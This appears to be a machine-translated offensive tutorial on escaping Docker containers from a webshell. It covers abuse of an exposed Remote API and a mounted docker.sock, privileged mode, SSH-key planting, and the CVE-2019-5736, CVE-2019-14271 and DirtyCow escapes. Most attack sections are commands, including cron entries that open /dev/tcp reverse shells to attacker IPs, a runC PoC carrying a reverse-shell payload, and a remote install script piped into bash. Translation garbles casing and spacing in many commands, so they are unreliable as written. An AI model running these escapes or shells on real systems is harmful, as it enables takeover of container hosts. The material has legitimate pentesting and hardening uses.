When acquiring a Webshell, our attack point may be in a virtual directory on the server, a virtual machine or a physical machine, or even in a Docker container.
Assuming that the Webshell we get is in the Docker container, how do we break the game?
Docker container escape case:
1. Determine whether it is in a Docker container
2. Escape caused by improper configuration
- Docker Remote API unauthorized access
- Docker. sock is mounted inside the container
- Docker high-risk startup parameters
-
- Privileged mode
- Mount sensitive directories
- Security problems exist in startup parameters
3. Escape caused by Docker software design
- Shocker against
- RunC Container Escape Vulnerability (CVE-2019-5736)
- Docker cp command (cVE-2019-14271)
4. Escape caused by kernel vulnerabilities
- Dirtycow vulnerability (dirtycow-docker-vdso)
1. Determine whether it is in the Docker container
First of all, we need to determine whether there are two commonly used detection methods in docker environment:
Check whether /proc/1/cgroup contains the character string "docker".Copy the code
At present, these two detection methods are relatively effective. Other detection methods, such as mount detection, fdisk -l to view disks, and PID 1 process name can also be used to assist judgment.
2. Docker escape caused by improper configuration
2.1 Docker remote API Unauthorized access Vulnerability description: Docker remote API can execute docker commands, docker daemon process listening at 0.0.0.0, can directly call API to operate docker.
Sudo dockerd -h Unix: / / / var/run/docker. The sock - H 0.0.0.0:2375Copy the code
Use the Docker Daemon API to run docker commands.
Docker ps is the same as docker ps. Curl http://<target>:2375/containers/json #Copy the code
Exploit: A. Run A new container and mount it to/MNT directory from the root directory of the server.
Sudo docker -h TCP :// 10.1.1.21:2375 run it -v /:/ MNT nginx:latest /bin/bashCopy the code
B. Run the command in the container to write the rebound shell script to /var/spool/cron/root
Echo '* * * * * / bin/bash - > I & / dev/TCP / 10.1.1.214/12345 0 > &1' > > / MNT/var/spool/cron/crontabs/rootCopy the code
C. Local listening port to obtain the shell of the host.
2.2 Docker. Sock Mounted to Containers Simply put, it is docker in Docker. The docker of the host machine is called and executed in the docker container, and the docker file and docker. Sock file of the docker host machine are mounted to the container, as follows:
Copy the code
docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
ubuntu \
/bin/bash
Copy the code
Vulnerability test: A, find docker.sock in the container
root@95a280bc5a19:/# find / -name docker.sock
/run/docker.sock
Copy the code
B. Check the host docker information in the container:
Copy the code
docker -H unix:///var/run/docker.sock info
Copy the code
C, run a new container and mount the host root path:
Copy the code
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
Copy the code
D, in the new container /test directory, you can access all the resources of the host machine, next is to write SSH key or write scheduled task, get shell.
Copy the code
ls -al /test
Copy the code
Copy the code
2.3 High-risk Startup Parameters Of Docker There are some high-risk startup commands in Docker, which give the container large permissions and allow some privileged operations to be performed. Under certain conditions, container escape can be caused.
Copy the code
docker run --rm -it
--privileged
-v /:/soft
--cap-add=SYS_ADMIN
--net=host
--pid=host
--ipc=host
ubuntu
/bin/bash
Copy the code
When the container is started in privileged mode, the Docker administrator can mount the external host disk device into the container through the mount command, and obtain the read and write permission on the entire host. In addition, he can also execute commands on the host by writing scheduled tasks. A. Run A container in privileged mode:
Copy the code
sudo docker run -itd --privileged ubuntu:latest /bin/bash
Copy the code
B. View disk files in the container
Copy the code
fdisk -l
Copy the code
C. Mount /dev/sda1 to the new directory
Copy the code
mkdir /test
mount /dev/sda1 /test
Copy the code
D. Write the scheduled task to the host
Copy the code
Echo '* * * * * / bin/bash - > I & / dev/TCP / 192.168.172.136/12345 0 > &1' > > / test/var/spool/cron/crontabs/rootCopy the code
E. Enable NC listening and successfully obtain the shell bounced back from the host computer.
Mount sensitive directory (-v /:/soft) Vulnerability test: A. Mount the root directory of the host to the container
Copy the code
Docker run -itd -v /root:/root Ubuntu :18.04 /bin/bashCopy the code
B. The simulated attacker writes SSH keys
Copy the code
mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys
Copy the code
C. Use the private key to log in successfully. Obtain host permissions.
Security problems related to startup parameters: Docker implements six resource isolation through Linux namespace, including host name, user permissions, file system, network, process number, and interprocess communication. But some of the startup parameters grant the container more privileges, breaking the boundaries of resource isolation.
Copy the code
--cap-add=SYS_ADMIN When the system starts, the mount privilege can be performed. Resources must be mounted for utilization. --net=host bypass Network Namespace --pid=host bypass PID Namespace --ipc=host bypass IPC NamespaceCopy the code
2. Escape caused by Docker software design
3.1 Shocker Attack Vulnerability Description: Escapes from the Docker container and reads the contents of files in a directory on the host. The key of the Shocker attack is that the system call open_BY_HANDLE_AT is executed. The Linux manual specifically states that CAP_DAC_READ_SEARCH is required to call open_BY_HANDLE_AT. Docker1.0 uses a blacklist management policy for the Capability and does not limit CAP_DAC_READ_SEARCH, which raises the risk of container escape. Version affected: Docker version < 1.0, which exists in most versions prior to Docker 1.0. Github Project address:
https://github.com/gabrtv/shocker
Copy the code
3.2 runC Container Escape Vulnerability (CVE-2019-5736)
Description of vulnerability:
Docker versions prior to 18.09.2 used runc versions smaller than 1.0-RC6, thus allowing attackers to rewrite runC binaries on hosts where they can execute commands as root.
Conditions of use:
Docker version < 18.09.2, runC version < 1.0-RC6, generally, you can check the current version by using Docker and docker-runc.
Vulnerability test:
1. Download and install the test environment image:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
Copy the code
2. Download POC, modify the script, and compile
Copy the code
Download the poc git clone https://github.com/Frichetten/CVE-2019-5736-PoC # modified content vi. The main go content = "#! / bin/bash \ n bash - > I & / dev/TCP / 192.168.172.136/1234 0 > &1 "compiler generated content CGO_ENABLED = 0 GOOS = Linux GOARCH = amd64 go build Go to the docker container and run sudo docker cp./main 248f8b7d3c45:/ TMPCopy the code
3. Mock the attacker and execute payload in the container
Sudo docker exec it 248f8b7d3c45 /bin/bash chmod 777 main PayloadCopy the code
4. Assume that the administrator accesses the container through exec and triggers the Payload.
Copy the code
sudo docker exec -it cafa20cfb0f9 /bin/sh
Copy the code
5. Listen to the local port on 192.168.172.136 and obtain the shell bounced back from the host.
3.3 Docker cp Command can cause container Escape Attack Vulnerability (CVE-2019-14271) Vulnerability Description: When the Docker host uses cp command, the auxiliary process docker-tar will be called, which is not containerized, and will dynamically load some libnss *. So libraries at run time. Hackers can inject code into docker-tar by replacing libraries such as libnss*.so in the container. When Docker users try to copy files from the container, they will execute malicious code, successfully achieve Docker escape, and obtain the root permission of the host. Impact version: Docker 19.03.0 Security version: Upgrade to a security version Docker 19.03.1 or later.
4. Escape caused by kernel vulnerability
4.1 Implementation of Docker Escape Vulnerability Using the DirtyCow Vulnerability Description: DirtyCow (CVE-2016-5195) is a permission promotion vulnerability in the Linux kernel, through which Docker container can escape and obtain the root permission of the shell. 1. Environment preparation: Docker shares the kernel with the host, so we need the host image with the dirtyCow vulnerability. Here, we use Ubuntu-14.04.5 to reproduce. 2. Test container download and run:
Copy the code
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
Copy the code
3, Enter the container, compile the POC and execute:
Copy the code
CD /dirtycow-vdso/ make./0xdeadbeef 192.168.172.136:1234Copy the code
4. Listen to the local port at 192.168.172.136 and successfully receive shell bounces from the host.